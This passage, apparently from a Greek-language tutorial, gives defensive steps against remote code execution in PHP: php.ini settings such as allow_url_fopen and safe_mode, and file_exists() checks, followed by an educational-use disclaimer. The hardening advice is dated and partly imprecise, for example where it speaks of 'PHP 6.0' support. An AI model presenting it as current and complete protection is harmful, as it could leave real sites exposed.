Μια λύση για να μην μπορεί κάποιος να «τρέξει» απομακρυσμένο κώδικα στο site μας, είναι να δώσουμε συγκεκριμένες τιμές σε κάποιες μεταβλητές περιβάλλοντος της γλώσσας PHP, μέσα στο αρχείο PHP.INI (http://www.php.net/manual/en/ini.php):
  • allow_url_fopen = false
Θέτοντας την μεταβλητή αυτή false, δεν επιτρέπεται σε κάποιον να εκτελέσει ένα πρόγραμμα σε απομακρυσμένο server.

  • safe_mode = true
H παραπάνω μεταβλητή έχοντας την τιμή true δεν θα επιτρέψει σε κάποιον να
εκτελέσει συναρτήσεις του στυλ system(),exec() κλπ. Δηλαδή συναρτήσεις που
εκτελούν εντολές του λειτουργικού συστήματος. Η συγκεκριμένη όμως μεταβλητή δεν υποστηρίζεται στη Php 6.0. Το σκεπτικό είναι ότι η Php δεν πρέπει να ασχολείται με τόσο «συστημικά ζητήματα» τα οποία μπορούν να επιλυθούν από το security του ίδιου του λειτουργικού (π.χ. με τον καθορισμό access rights κλπ - http://us2.php.net/manual/en/features.safe-mode.php).

  • Χρησιμοποιείτε στα προγράμματα σας την συνάρτηση της php file_exists(). Με αυτόν τον τρόπο μπορείτε να ελέγχετε αν υπάρχει το αρχείο που θα κληθεί να εκτελεστεί στον τοπικό σας δίσκο. Αν το αρχείο δεν υπάρχει στον τοπικό δίσκο αλλά υπάρχει σε κάποιον απομακρυσμένο server, η συνάρτηση θα επιστρέψει false!Για περισσότερες και πιο «ζουμερές» λεπτομέρειες ανατρέξτε στο

http://us2.php.net/manual/en/ref.filesystem.php#ini.allow-url-fopen
http://us2.php.net/manual/en/features.remote-files.php

ΠΡΟΣΟΧΗ! Αυτός ο οδηγός εκμάθησης παρέχεται μόνο για εκπαιδευτικούς σκοπούς. Δε φέρω καμιά ευθύνη σε περίπτωση που χρησιμοποιηθεί για κακόβουλη χρήση και για εφαρμογή του σε τρίτους χωρίς την συγκατάθεση τους. Κάθε παράνομη εφαρμογή του οδηγού αυτού διώκεται ποινικά από το νόμο.